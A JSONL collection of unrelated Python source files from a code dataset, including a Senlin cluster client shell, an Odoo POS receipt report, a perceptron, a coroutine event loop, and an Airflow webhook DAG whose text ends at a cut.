+{"seq_id":"60828255","text":"# -*- coding: utf-8 -*-\n\nfrom typing import Dict\n\nimport os\nimport pkg_resources\n\nfrom bag.design import Module\n\n\nyaml_file = pkg_resources.resource_filename(__name__, os.path.join('netlist_info', 'ser_32.yaml'))\n\n\n# noinspection PyPep8Naming\nclass bag_serdes_ec__ser_32(Module):\n \"\"\"Module for library bag_serdes_ec cell ser_32.\n\n Fill in high level description here.\n \"\"\"\n\n def __init__(self, bag_config, parent=None, prj=None, **kwargs):\n Module.__init__(self, bag_config, yaml_file, parent=parent, prj=prj, **kwargs)\n\n @classmethod\n def get_params_info(cls):\n # type: () -> Dict[str, str]\n return dict(\n ser_params='serializer parameters.',\n mux_params='mux parameters.',\n div_params='divider parameters.',\n buf_params='buffer parameters.',\n )\n\n def design(self, ser_params, mux_params, div_params, buf_params):\n lib_name = ser_params['lib_name']\n cell_name = ser_params['cell_name']\n self.replace_instance_master('XSERB', lib_name, cell_name, static=True)\n self.replace_instance_master('XSERT', lib_name, cell_name, static=True)\n lib_name = mux_params['lib_name']\n cell_name = mux_params['cell_name']\n self.replace_instance_master('XMUX', lib_name, cell_name, static=True)\n\n self.instances['XDIV'].design(**div_params)\n self.instances['XBUFP'].design(**buf_params)\n self.instances['XBUFN'].design(**buf_params)\n","sub_path":"BagModules/bag_serdes_ec/ser_32.py","file_name":"ser_32.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"330013871","text":"# Copyright (c) 2014 Mikhail Gusarov \n# BSD 2-clause license. See COPYING for details.\n\nimport argparse\nimport sys\n\nfrom . import darwin\nfrom . import copier\nfrom . import common\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-s', '--sloppy', action='store_true',\n help='skip missing files and files of unknown type')\nparser.add_argument('-m', '--match',\n help='match Kindle by volume name or device name, e.g.'+\n ' disk4 or KINDLE_PAPERWEIGHT')\nparser.add_argument('file', nargs='*',\n help='.mobi file(s) to be copied')\n\ndef main():\n args = parser.parse_args()\n if not len(args.file):\n parser.print_help()\n sys.exit(0)\n\n filenames = copier.filter_files(args.file, not args.sloppy)\n kindle = common.find_kindle(darwin, args.match)\n copier.do_copy(kindle, filenames)\n","sub_path":"copy2kindle/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"374902744","text":"import types\nimport collections\nfrom selectors import DefaultSelector, EVENT_READ, EVENT_WRITE\n\n\n# I have two coroutines, that are used for communication with the loop.\n# These are used to wait for the socket to become readable or\n# writeable.\n@types.coroutine\ndef read_wait(sock):\n yield 'read_wait', sock\n\n# I need this decorator to be able to use await keyword with these\n# coroutines\n\n\n@types.coroutine\ndef write_wait(sock):\n yield 'write_wait', sock\n\n\nclass Loop:\n\n def __init__(self):\n self.ready = collections.deque()\n self.selector = DefaultSelector()\n\n async def sock_accept(self, sock):\n '''\n Wait for the server socket to become readable, accept a new\n client and return her socket, addr pair.\n '''\n await read_wait(sock)\n return sock.accept()\n\n async def sock_recv(self, sock, maxbytes):\n '''\n Wait for the socket to become readable, read data from the\n socket and return data.\n '''\n await read_wait(sock)\n return sock.recv(maxbytes)\n\n async def sock_sendall(self, sock, data):\n '''\n While we have some data to send, wait for the socket to become\n writeable and send some data.\n '''\n while data:\n await write_wait(sock)\n nbytes = sock.send(data)\n # Modify data according to the number of bytes sent this time\n data = data[nbytes:]\n\n def create_task(self, coro):\n self.ready.append(coro)\n\n def run_forever(self):\n while True:\n while not self.ready:\n events = self.selector.select()\n for key, _ in events:\n self.selector.unregister(key.fileobj)\n self.ready.append(key.data)\n\n while self.ready:\n # I need this task in another method, so I attach it here\n self.current_task = self.ready.popleft()\n try:\n # drive the coroutine to the next yield\n op, *args = self.current_task.send(None)\n except StopIteration:\n pass\n else:\n # call method on myself\n # this methods will register sockets with selector\n getattr(self, op)(*args)\n\n def read_wait(self, sock):\n # When this socket is ready, drive this task to the next yield\n self.selector.register(sock, EVENT_READ, self.current_task)\n\n def write_wait(self, sock):\n self.selector.register(sock, EVENT_WRITE, self.current_task)\n","sub_path":"play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"14750251","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport numpy as np\ndef perceptron(x, y, z, eta, t):\n #x: input features\n #y: actual output\n #z: activation threshold\n #eta: learning rate\n #t: number of iterations\n w = np.zeros(len(x[0]))\n #w: weight vector\n n = 0\n #n: counter\n yp_vect = np.ones(len(y))\n #yp_vext is vector for predictions\n errors = np.ones(len(y))\n #errors is vector for errors (actual - predictions)\n J = []\n #vector for sum of squared error function\n \n while n < t:\n for i in range(0, len(x)):\n f = np.dot(w, x[i])\n #activation function\n if f > z:\n yp = 1\n else:\n yp = 0\n yp_vect[i] = yp\n \n #updating weight vevtor\n for j in range(0, len(w)):\n w[j] = w[j] + eta*(y[i] - yp)*x[i][j]\n n += 1\n #computer sum of squared error\n for i in range(0, len(y)):\n errors[i] = (y[i] - yp_vect[i])**2\n J.append(0.5 * np.sum(errors))\n return w, J\n\n\n\nx = [[1., 0., 0.,],\n [1., 0., 1.,],\n [1., 1., 0.,],\n [1., 1., 1.,]]\n\ny = [1.,\n 1.,\n 1.,\n 0.]\n\nz = 0.0\neta = 0.1\nt = 50\n\nprint(\"The weights are :\")\nprint(perceptron(x, y, z, eta, t)[0])\n","sub_path":"perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"207183518","text":"class Solution(object):\n def myAtoi(self, str):\n \"\"\"\n :type str: str\n :rtype: int\n \"\"\"\n max_int = 2147483647\n min_int = -2147483648\n str = str.strip()\n if not len(str):\n return 0\n pos = True\n if str[0]=='+':\n pos = True\n str = str[1:]\n elif str[0]=='-':\n pos = False\n str = str[1:]\n \n str_len = len(str)\n res = 0\n for ix, k in enumerate(str):\n if not k.isdigit():\n break\n if pos and ((res==max_int/10 and int(k)>7) or res>max_int/10):\n return max_int\n if not pos and ((res==max_int/10 and int(k)>8) or res>max_int/10):\n return min_int\n res = res*10 + int(k)\n return res if pos else -res","sub_path":"m20170205/atoi.py","file_name":"atoi.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"258954720","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport logging\n\nfrom oslo.serialization import jsonutils\n\nfrom senlinclient.common import exc\nfrom senlinclient.common.i18n import _\nfrom senlinclient.common import utils\n\nlogger = logging.getLogger(__name__)\n\n\ndef do_build_info(sc, args):\n '''Retrieve build information.'''\n result = sc.build_info.build_info()\n formatters = {\n 'api': utils.json_formatter,\n 'engine': utils.json_formatter,\n }\n utils.print_dict(result, formatters=formatters)\n\n\n#### PROFILE TYPES\n\n\ndef do_profile_type_list(sc, args):\n '''List the available profile types.'''\n types = sc.profile_types.list()\n utils.print_list(types, ['profile_type'], sortby_index=0)\n\n\n@utils.arg('profile_type', metavar='',\n help=_('Profile type to get the details for.'))\ndef do_profile_type_show(sc, args):\n '''Show the profile type.'''\n try:\n profile_type = sc.profile_types.get(args.profile_type)\n except exc.HTTPNotFound:\n raise exc.CommandError(\n _('Profile Type not found: %s') % args.profile_type)\n else:\n print(jsonutils.dumps(profile_type, indent=2))\n\n\n@utils.arg('profile_type', metavar='',\n help=_('Profile type to generate a template for.'))\n@utils.arg('-F', '--format', metavar='',\n help=_(\"The template output format, one of: %s.\")\n % ', '.join(utils.supported_formats.keys()))\ndef do_profile_type_template(sc, args):\n '''Generate a template based on a profile type.'''\n try:\n template = sc.profile_types.generate_template(args.profile_type)\n except exc.HTTPNotFound:\n raise exc.CommandError(\n _('Profile Type %s not found.') % args.profile_type)\n\n if args.format:\n print(utils.format_output(template, format=args.format))\n else:\n print(utils.format_output(template))\n\n\n#### PROFILES\n\n\n#### POLICY TYPES\n\n\ndef do_policy_type_list(sc, args):\n '''List the available policy types.'''\n types = sc.policy_types.list()\n utils.print_list(types, ['policy_type'], sortby_index=0)\n\n\n@utils.arg('policy_type', metavar='',\n help=_('Policy type to get the details for.'))\ndef do_policy_type_show(sc, args):\n '''Show the policy type.'''\n try:\n policy_type = sc.policy_types.get(args.policy_type)\n except exc.HTTPNotFound:\n raise exc.CommandError(\n _('Policy Type not found: %s') % args.policy_type)\n else:\n print(jsonutils.dumps(policy_type, indent=2))\n\n\n@utils.arg('policy_type', metavar='',\n help=_('Policy type to generate a template for.'))\n@utils.arg('-F', '--format', metavar='',\n help=_(\"The template output format, one of: %s.\")\n % ', '.join(utils.supported_formats.keys()))\ndef do_policy_type_template(sc, args):\n '''Generate a template based on a policy type.'''\n try:\n template = sc.policy_types.generate_template(args.policy_type)\n except exc.HTTPNotFound:\n raise exc.CommandError(\n _('Policy Type %s not found.') % args.policy_type)\n\n if args.format:\n print(utils.format_output(template, format=args.format))\n else:\n print(utils.format_output(template))\n\n\n#### POLICIES\n\n\n#### CLUSTERS\n\n\n@utils.arg('-s', '--show-deleted', default=False, action=\"store_true\",\n help=_('Include soft-deleted clusters if any.'))\n@utils.arg('-n', '--show-nested', default=False, action=\"store_true\",\n help=_('Include nested clusters if any.'))\n@utils.arg('-f', '--filters', metavar='',\n help=_('Filter parameters to apply on returned clusters. '\n 'This can be specified multiple times, or once with '\n 'parameters separated by a semicolon.'),\n action='append')\n@utils.arg('-l', '--limit', metavar='',\n help=_('Limit the number of clusters returned.'))\n@utils.arg('-m', '--marker', metavar='',\n help=_('Only return clusters that appear after the given cluster '\n 'ID.'))\ndef do_cluster_list(sc, args=None):\n '''List the user's clusters.'''\n kwargs = {}\n fields = ['id', 'cluster_name', 'status', 'created_time']\n if args:\n kwargs = {'limit': args.limit,\n 'marker': args.marker,\n 'filters': utils.format_parameters(args.filters),\n 'show_deleted': args.show_deleted,\n 'show_nested': args.show_nested}\n if args.show_nested:\n fields.append('parent')\n\n# if args.global_tenant:\n# fields.insert(2, 'project')\n\n clusters = sc.clusters.list(**kwargs)\n utils.print_list(clusters, fields, sortby_index=3)\n\n\n@utils.arg('-p', '--profile', metavar='',\n help=_('Profile Id used for this cluster.'))\n@utils.arg('-n', '--size', metavar='',\n help=_('Initial size of the cluster.'))\n@utils.arg('-t', '--timeout', metavar='',\n type=int,\n help=_('Cluster creation timeout in minutes.'))\n@utils.arg('-g', '--tags', metavar='',\n help=_('Tag values to be attached to the cluster. '\n 'This can be specified multiple times, or once with tags'\n 'separated by a semicolon.'),\n action='append')\n@utils.arg('name', metavar='',\n help=_('Name of the cluster to create.'))\ndef do_cluster_create(sc, args):\n '''Create the cluster.'''\n fields = {\n 'name': args.name,\n 'profile_id': args.profile,\n 'tags': utils.format_parameters(args.tags),\n 'size': args.size,\n 'timeout': args.timeout\n }\n\n sc.clusters.create(**fields)\n do_cluster_list(sc)\n\n\n@utils.arg('id', metavar='', nargs='+',\n help=_('Name or ID of cluster(s) to delete.'))\ndef do_cluster_delete(sc, args):\n '''Delete the cluster(s).'''\n failure_count = 0\n\n for cid in args.id:\n try:\n sc.clusters.delete(cid)\n except exc.HTTPNotFound as ex:\n failure_count += 1\n print(ex)\n if failure_count == len(args.id):\n msg = _('Failed to delete any of the specified clusters.')\n raise exc.CommandError(msg)\n do_cluster_list(sc)\n\n\n@utils.arg('-p', '--profile', metavar='',\n help=_('ID of new profile to use.'))\n@utils.arg('-n', '--size', metavar='',\n help=_('Initial size of the cluster.'))\n@utils.arg('-t', '--timeout', metavar='',\n type=int,\n help=_('Cluster update timeout in minutes.'))\n@utils.arg('-g', '--tags', metavar='',\n help=_('Tag values to be attached to the cluster. '\n 'This can be specified multiple times, or once with tags'\n 'separated by a semicolon.'),\n action='append')\n@utils.arg('id', metavar='',\n help=_('Name or ID of cluster to update.'))\ndef do_cluster_update(sc, args):\n '''Update the cluster.'''\n\n fields = {\n 'profile_id': args.profile,\n 'size': args.size,\n 'tags': utils.format_parameters(args.tags),\n }\n\n if args.timeout:\n fields['timeout'] = args.timeout\n\n sc.clusters.update(**fields)\n do_cluster_list(sc)\n\n\n@utils.arg('id', metavar='',\n help=_('Name or ID of cluster to show.'))\ndef do_cluster_show(sc, args):\n '''Show details of the cluster.'''\n try:\n cluster = sc.clusters.get(args.id)\n except exc.HTTPNotFound:\n raise exc.CommandError(_('Cluster not found: %s') % args.id)\n else:\n formatters = {\n 'profile': utils.json_formatter,\n 'status': utils.text_wrap_formatter,\n 'status_reason': utils.text_wrap_formatter,\n 'tags': utils.json_formatter,\n 'links': utils.link_formatter\n }\n utils.print_dict(cluster.to_dict(), formatters=formatters)\n\n\n@utils.arg('-s', '--show-deleted', default=False, action=\"store_true\",\n help=_('Include soft-deleted nodes if any.'))\n@utils.arg('-f', '--filters', metavar='',\n help=_('Filter parameters to apply on returned nodes. '\n 'This can be specified multiple times, or once with '\n 'parameters separated by a semicolon.'),\n action='append')\n@utils.arg('-l', '--limit', metavar='',\n help=_('Limit the number of nodes returned.'))\n@utils.arg('-m', '--marker', metavar='',\n help=_('Only return nodes that appear after the given node ID.'))\n@utils.arg('id', metavar='',\n help=_('Name or ID of cluster to nodes from.'))\ndef do_cluster_node_list(sc, args):\n '''List nodes from cluster.'''\n fields = ['id', 'name', 'index', 'status', 'physical_id', 'created_time']\n\n kwargs = {\n 'cluster_id': args.id,\n 'show_deleted': args.show_deleted,\n 'filters': utils.format_parameters(args.filters),\n 'limit': args.limit,\n 'marker': args.marker,\n }\n\n try:\n nodes = sc.nodes.list(**kwargs)\n except exc.HTTPNotFound:\n msg = _('No node matching criteria is found')\n raise exc.CommandError(msg)\n\n utils.print_list(nodes, fields, sortby_index=5)\n\n\n@utils.arg('-n', '--nodes', metavar='',\n help=_('ID of nodes to be added.'))\n@utils.arg('id', metavar='',\n help=_('Name or ID of cluster to operate on.'))\ndef do_cluster_node_add(sc, args):\n '''Add specified nodes to cluster.'''\n failure_count = 0\n for nid in args.nodes:\n try:\n sc.clusters.add_node(args.id, nid)\n except Exception as ex:\n failure_count += 1\n print(ex)\n if failure_count == len(args.nodes):\n msg = _('Failed to add any of the specified nodes.')\n raise exc.CommandError(msg)\n\n do_cluster_node_list(sc, id=args.id)\n\n\n@utils.arg('-n', '--nodes', metavar='',\n help=_('ID of nodes to be deleted.'))\n@utils.arg('id', metavar='',\n help=_('Name or ID of cluster to operate on.'))\ndef do_cluster_node_del(sc, args):\n '''Delete specified nodes from cluster.'''\n failure_count = 0\n for nid in args.nodes:\n try:\n sc.clusters.del_node(args.id, nid)\n except Exception as ex:\n failure_count += 1\n print(ex)\n if failure_count == len(args.nodes):\n msg = _('Failed to delete any of the specified nodes.')\n raise exc.CommandError(msg)\n\n do_cluster_node_list(sc, id=args.id)\n\n\n@utils.arg('id', metavar='',\n help=_('Name or ID of cluster to operate on.'))\ndef do_cluster_policy_list(sc, args):\n '''List policies from cluster.'''\n policies = sc.clusters.list_policy(args.id)\n fields = ['id', 'name', 'enabled', 'level']\n utils.print_list(policies, fields, sortby_index=1)\n\n\n@utils.arg('-p', '--policy', metavar='',\n help=_('ID of policy to be attached.'))\n@utils.arg('id', metavar='',\n help=_('Name or ID of cluster to operate on.'))\ndef do_cluster_policy_attach(sc, args):\n '''Attach policy to cluster.'''\n sc.clusters.attach_policy(args.id, args.policy)\n do_cluster_policy_list(sc, args.id)\n\n\n@utils.arg('-p', '--policy', metavar='',\n help=_('ID of policy to be detached.'))\n@utils.arg('id', metavar='',\n help=_('Name or ID of cluster to operate on.'))\ndef do_cluster_policy_detach(sc, args):\n '''Detach policy from cluster.'''\n sc.clusters.detach_policy(args.id, args.policy)\n do_cluster_policy_list(sc, args.id)\n\n\n@utils.arg('-p', '--policy', metavar='',\n help=_('ID of policy to be enabled.'))\n@utils.arg('-c', '--cooldown', metavar='',\n help=_('Cooldown interval in seconds.'))\n@utils.arg('-l', '--level', metavar='',\n help=_('Enforcement level.'))\n@utils.arg('-e', '--enabled', metavar='',\n help=_('Specify whether to enable policy.'))\n@utils.arg('id', metavar='',\n help=_('Name or ID of cluster to operate on.'))\ndef do_cluster_policy_update(sc, args):\n '''Enable policy on cluster.'''\n kwargs = {\n 'policy_id': args.policy,\n 'cooldown': args.cooldown,\n 'enabled': args.enabled,\n 'level': args.level,\n }\n sc.clusters.update_policy(args.id, **kwargs)\n do_cluster_policy_list(sc, args.id)\n\n\n#### NODES\n\n\n@utils.arg('-c', '--cluster', metavar='',\n help=_('Cluster Id for this node.'))\n@utils.arg('-p', '--profile', metavar='',\n help=_('Profile Id used for this node.'))\n@utils.arg('-r', '--role', metavar='',\n help=_('Role for this node in the specific cluster.'))\n@utils.arg('-g', '--tags', metavar='',\n help=_('Tag values to be attached to the cluster. '\n 'This can be specified multiple times, or once with tags'\n 'separated by a semicolon.'),\n action='append')\n@utils.arg('name', metavar='',\n help=_('Name of the node to create.'))\ndef do_node_create(sc, args):\n '''Create the node.'''\n fields = {\n 'name': args.name,\n 'cluster_id': args.cluster,\n 'profile_id': args.profile,\n 'role': args.role,\n 'tags': utils.format_parameters(args.tags),\n }\n\n sc.nodes.create(**fields)\n do_node_list(sc)\n\n\n@utils.arg('id', metavar='', nargs='+',\n help=_('Name or ID of node(s) to delete.'))\ndef do_node_delete(sc, args):\n '''Delete the node(s).'''\n failure_count = 0\n\n for nid in args.id:\n try:\n sc.nodes.delete(nid)\n except exc.HTTPNotFound as ex:\n failure_count += 1\n print(ex)\n if failure_count == len(args.id):\n msg = _('Failed to delete any of the specified nodes.')\n raise exc.CommandError(msg)\n do_node_list(sc)\n\n\n@utils.arg('-n', '--name', metavar='',\n help=_('New name for the node.'))\n@utils.arg('-p', '--profile', metavar='',\n help=_('ID of new profile to use.'))\n@utils.arg('-r', '--role', metavar='',\n help=_('Role for this node in the specific cluster.'))\n@utils.arg('-g', '--tags', metavar='',\n help=_('Tag values to be attached to the node. '\n 'This can be specified multiple times, or once with tags'\n 'separated by a semicolon.'),\n action='append')\n@utils.arg('id', metavar='',\n help=_('ID of node to update.'))\ndef do_node_update(sc, args):\n '''Update the node.'''\n fields = {\n 'name': args.name,\n 'role': args.role,\n 'profile': args.profile,\n 'tags': utils.format_parameters(args.tags),\n }\n\n sc.nodes.update(args.id, **fields)\n do_node_list(sc)\n\n\n@utils.arg('id', metavar='',\n help=_('Name or ID of node to operate on.'))\ndef do_node_leave(sc, args):\n '''Make node leave its current cluster.'''\n kwargs = {\n 'cluster_id': '',\n }\n do_node_update(args.id, **kwargs)\n do_node_list(sc)\n\n\n@utils.arg('-c', '--cluster',\n help=_('ID or name of cluster for node to join.'))\n@utils.arg('id', metavar='',\n help=_('Name or ID of node to operate on.'))\ndef do_node_join(sc, args):\n '''Make node join the specified cluster.'''\n kwargs = {\n 'cluster_id': args.cluster,\n }\n do_node_update(args.id, **kwargs)\n do_node_list(sc)\n\n\n@utils.arg('-c', '--cluster', default=None,\n help=_('ID or name of cluster for nodes to list.'))\n@utils.arg('-s', '--show-deleted', default=False, action=\"store_true\",\n help=_('Include soft-deleted nodes if any.'))\n@utils.arg('-f', '--filters', metavar='',\n help=_('Filter parameters to apply on returned nodes. '\n 'This can be specified multiple times, or once with '\n 'parameters separated by a semicolon.'),\n action='append')\n@utils.arg('-l', '--limit', metavar='',\n help=_('Limit the number of nodes returned.'))\n@utils.arg('-m', '--marker', metavar='',\n help=_('Only return nodes that appear after the given node ID.'))\n@utils.arg('-g', '--global-tenant', action='store_true', default=False,\n help=_('List nodes from all tenants. Operation only authorized '\n 'for users who match the policy in policy file.'))\ndef do_node_list(sc, args):\n '''Show list of nodes.'''\n fields = ['id', 'name', 'status', 'cluster_id', 'physical_id',\n 'created_time']\n if args.global_tenant:\n fields.insert(2, 'project')\n\n kwargs = {\n 'cluster_id': args.cluster,\n 'show_deleted': args.show_deleted,\n 'filters': utils.format_parameters(args.filters),\n 'limit': args.limit,\n 'marker': args.marker,\n 'global_tenant': args.global_tenant,\n }\n\n try:\n nodes = sc.nodes.list(**kwargs)\n except exc.HTTPNotFound:\n msg = _('No node matching criteria is found')\n raise exc.CommandError(msg)\n\n utils.print_list(nodes, fields, sortby_index=5)\n\n\n@utils.arg('id', metavar='',\n help=_('Name or ID of the node to show the details for.'))\ndef do_node_show(sc, args):\n '''Show detailed info about the specified node.'''\n try:\n node = sc.nodes.get(args.id)\n except exc.HTTPNotFound:\n msg = _('Node %(id)s is not found') % args.id\n raise exc.CommandError(msg)\n\n formatters = {\n 'links': utils.link_formatter,\n 'required_by': utils.newline_list_formatter\n }\n\n utils.print_dict(node.to_dict(), formatters=formatters)\n\n\n##### EVENTS\n\n\n@utils.arg('-i', '--id', metavar='',\n help=_('ID of objects to show the events for.'))\n@utils.arg('-n', '--name', metavar='',\n help=_('Name of objects to show the events for.'))\n@utils.arg('-t', '--type', metavar='',\n help=_('Types of the objects to filter events by.'\n 'The types can be CLUSTER, NODE, PROFILE, POLICY.'))\n@utils.arg('-f', '--filters', metavar='',\n help=_('Filter parameters to apply on returned events. '\n 'This can be specified multiple times, or once with '\n 'parameters separated by a semicolon.'),\n action='append')\n@utils.arg('-l', '--limit', metavar='',\n help=_('Limit the number of events returned.'))\n@utils.arg('-m', '--marker', metavar='',\n help=_('Only return events that appear after the given event ID.'))\n@utils.arg('-k', '--sort-keys', metavar='',\n help=_('Name of keys used for sorting the returned events.'))\n@utils.arg('-d', '--sort-dir', metavar='',\n help=_('Direction for sorting, where DIR can be \"asc\" or \"desc\".'))\ndef do_event_list(sc, args):\n '''List events.'''\n fields = {\n 'obj_id': args.id,\n 'obj_name': args.name,\n 'obj_type': args.type,\n 'filters': utils.format_parameters(args.filters),\n 'sort_keys': args.sort_keys,\n 'sort_dir': args.sort_dir,\n 'limit': args.limit,\n 'marker': args.marker,\n }\n\n try:\n events = sc.events.list(**fields)\n except exc.HTTPNotFound as ex:\n raise exc.CommandError(str(ex))\n\n fields = ['timestamp', 'obj_type', 'obj_id', 'action', 'status',\n 'status_reason']\n utils.print_list(events, fields, sortby_index=0)\n\n\n@utils.arg('event', metavar='',\n help=_('ID of event to display details for.'))\ndef do_event_show(sc, args):\n '''Describe the event.'''\n try:\n event = sc.events.get(args.event)\n except exc.HTTPNotFound as ex:\n raise exc.CommandError(str(ex))\n\n utils.print_dict(event.to_dict())\n\n\n#### EVENTS\n\n\n@utils.arg('-f', '--filters', metavar='',\n help=_('Filter parameters to apply on returned actions. '\n 'This can be specified multiple times, or once with '\n 'parameters separated by a semicolon.'),\n action='append')\n@utils.arg('-l', '--limit', metavar='',\n help=_('Limit the number of actions returned.'))\n@utils.arg('-m', '--marker', metavar='',\n help=_('Only return action that appear after the given action ID.'))\ndef do_action_list(sc, args):\n '''List actions.'''\n fields = {\n 'limit': args.limit,\n 'marker': args.marker,\n 'filters': utils.format_parameters(args.filters)\n }\n\n try:\n actions = sc.actions.list(**fields)\n except exc.HTTPNotFound as ex:\n raise exc.CommandError(str(ex))\n\n fields = ['name', 'action', 'status', 'status_reason', 'depends_on',\n 'depended_by']\n\n utils.print_list(actions, fields, sortby_index=0)\n","sub_path":"senlinclient/v1/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":21537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"360376385","text":"from openerp import api, models\n\n\nclass ReprintSalePosTicket(models.AbstractModel):\n _name = 'report.reprint_pos_report.reprint_sale_ticket'\n\n @api.multi\n def render_html(self, data=None):\n report_obj = self.env['report']\n report = report_obj._get_report_from_name('reprint_pos_report.reprint_sale_ticket')\n pos_order = self.env['pos.order'].search([('id', '=', self.id)])\n\n if pos_order:\n reprint = True if pos_order.pos_reference else False\n main_header = {\n 'company_name': pos_order.company_id.name,\n 'shop_name': pos_order.session_id.config_id.name,\n 'street': pos_order.session_id.config_id.operating_unit_id.street,\n 'street2': pos_order.session_id.config_id.operating_unit_id.street2,\n 'city': pos_order.session_id.config_id.operating_unit_id.city,\n 'zip': pos_order.session_id.config_id.operating_unit_id.zip,\n 'vat': pos_order.session_id.config_id.operating_unit_id.vat,\n 'contact_no': pos_order.session_id.config_id.operating_unit_id.contact_no,\n }\n sub_header = {\n 'order_id': pos_order.pos_reference,\n 'customer_name': pos_order.partner_id.name if pos_order.partner_id.name else 'Unknown',\n 'cashier': pos_order.user_id.name,\n 'date_order': pos_order.date_order,\n 'receipt_header': pos_order.session_id.config_id.receipt_header,\n 'receipt_footer': pos_order.session_id.config_id.receipt_footer,\n }\n total_discount = 0\n total_quantity = 0\n orderlines = []\n for line in pos_order.lines:\n rec = {}\n rec['product_name'] = line.product_id.name\n rec['discount'] = line.discount\n rec['quantity'] = \"{0:.2f} {1}\".format(line.qty,line.product_id.uom_id.name)\n rec['rate'] = int(line.price_unit)\n rec['vat'] = \"{0:.2f}\".format(line.price_subtotal_incl - line.price_subtotal)\n rec['total_amount'] = line.price_subtotal\n total_discount = total_discount + line.price_unit * line.qty - line.price_subtotal\n total_quantity = total_quantity + line.qty\n orderlines.append(rec)\n\n total_value = {\n 'total': pos_order.amount_total - pos_order.amount_tax,\n 'discount': total_discount,\n 'quantity': int(total_quantity),\n 'vat': pos_order.amount_tax,\n 'net_amount': pos_order.amount_total\n }\n journal = []\n for record in pos_order.statement_ids:\n rec = {}\n rec['name'] = 'Change:' if record.amount < 0 else record.journal_id.display_name\n rec['amount'] = record.amount\n journal.append(rec)\n\n docargs = {\n 'doc_ids': self._ids,\n 'main_header': main_header,\n 'sub_header': sub_header,\n 'orderlines': orderlines,\n 'total_value': total_value,\n 'reprint': reprint,\n 'payment': journal,\n 'doc_model': report.model,\n 'docs': self,\n }\n return report_obj.render('reprint_pos_report.reprint_sale_ticket', docargs)\n","sub_path":"reprint_pos_report/report/reprint_pos_ticket.py","file_name":"reprint_pos_ticket.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"396055091","text":"from airflow import DAG\nfrom airflow.operators import AstronomerS3KeySensor\nfrom airflow.operators import DummyOperator\nfrom datetime import datetime, timedelta\nfrom fn.func import F\nimport stringcase as case\nimport pymongo\nimport os\nfrom util.docker import create_docker_operator, create_linked_docker_operator\n\nnow = datetime.utcnow() - timedelta(hours=1)\nstart_date = datetime(now.year, now.month, now.day, now.hour)\n\ndefault_args = {\n 'owner': 'astronomer',\n 'depends_on_past': False,\n 'start_date': start_date,\n 'email': 'greg@astronomer.io',\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5),\n}\n\n# Get mongo url.\nmongo_url = os.getenv('MONGO_URL', '')\n\n# Connect to mongo.\nprint('Connecting to mongodb.')\nclient = pymongo.MongoClient(mongo_url)\n\n# Query for all webhooks.\nprint('Querying for cloud webhooks.')\nwebhooks = client.get_default_database().webhookConfigs.find({})\n\nprint('Found {count} webhooks.'.format(count=webhooks.count()))\nfor webhook in webhooks:\n # Get the webhook id.\n webhook_id = webhook['_id']\n\n # Get the name of the webhook.\n webhook_name = webhook['name'] if 'name' in webhook else None\n\n # Lower and snake case the name if we have one, else just id.\n name = webhook_id if not webhook_name else '{name}__webhooks__{id}'.format(\n id=webhook_id,\n name=case.snakecase(case.lowercase(webhook_name)))\n\n print('Building DAG: {name}.').format(name=name)\n\n # Airflow looks at module globals for DAGs, so assign each webhook to\n # a global variable using it's id.\n dag = globals()[webhook_id] = DAG(\n name,\n default_args=default_args,\n schedule_interval='*/15 * * * *')\n\n dummy = DummyOperator(\n task_id='start',\n dag=dag)\n\n # The params for the sensor.\n sensor_params = {'webhook_id': webhook_id}\n\n # Prefix to search for.\n prefix = 'webhooks/{{ params.webhook_id }}/{{ ts }}/{{ ds }}'\n\n # Check if we have any files. Probes for a minute, every 15 seconds.\n sensor = AstronomerS3KeySensor(\n task_id='s3_webhooks_sensor',\n bucket_name=os.getenv('AWS_S3_TEMP_BUCKET'),\n bucket_key=prefix,\n params=sensor_params,\n soft_fail=True,\n poke_interval=15,\n timeout=60,\n dag=dag)\n\n sensor.set_upstream(dummy)\n\n # Merge command.\n merge_command = \"\"\"\n '{}'\n '{\\\"prefix\\\":\\\"webhooks/{{ params.webhook_id }}/{{ ts }}/{{ ds }}\\\", \\\"bucket\\\":\\\"{{ params.bucket }}\\\", \\\"remote\\\":false }'\n '{{ ts }}'\n \"\"\"\n # Merge command params.\n merge_params = {'webhook_id': webhook_id, 'bucket': os.getenv('AWS_S3_TEMP_BUCKET')}\n\n # Create docker container operator for s3_merge_source.\n merge = create_docker_operator(dag, 's3_merge_source', merge_command, merge_params, 's3-merge-source')\n\n merge.set_upstream(sensor)\n\n # Grab activity list.\n activity_list = webhook['activityList']\n\n # List to hold activities to setup dependencies after creation.\n tasks = map(F(create_linked_docker_operator, dag, activity_list, 's3_merge_source'), enumerate(activity_list))\n\n # Loop through tasks and set dependencies.\n # TODO: Support `dependsOn` for full blown dags in mongo.\n for i, current in enumerate(tasks):\n if (i == 0):\n current.set_upstream(merge)\n else:\n current.set_upstream(tasks[i - 